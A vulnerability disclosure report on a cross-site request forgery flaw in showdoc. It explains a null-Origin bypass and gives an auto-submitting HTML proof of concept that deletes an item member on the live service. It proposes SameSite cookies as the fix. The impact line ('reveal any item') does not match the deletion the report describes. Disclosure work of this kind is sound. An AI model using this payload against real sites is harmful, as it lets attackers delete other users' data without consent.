Cross-Site Request Forgery (CSRF) in star7th/showdoc
Reported on
Sep 6th 2021
✍️ Description
With CSRF vulnerability Attacker able to delete any member to of any item if users visit attacker website.
We can bypass the CSRF Protection if we put our payload on a iframe or a html file and send them to victim as after that the Origin header will be set to null and we can bypass CSRF protection.
🕵️♂️ Proof of Concept
1.Open the PoC.html In Firefox or safari.
2.now you can check that member with email address test that already registered before for item with item_id 1531601670203344 will be deleted.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.showdoc.com.cn/server/index.php?s=/api/member/delete" method="POST">
<input type="hidden" name="item_id" value="1531601670203344" />
<input type="hidden" name="item_member_id" value="187133" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of reveal any item.
Fix
Set SameSite attribute of cookies to Lax or Strict.
@maintainer - can we please confirm the fix for this report, and then we can go ahead and publish the CVE with the patch.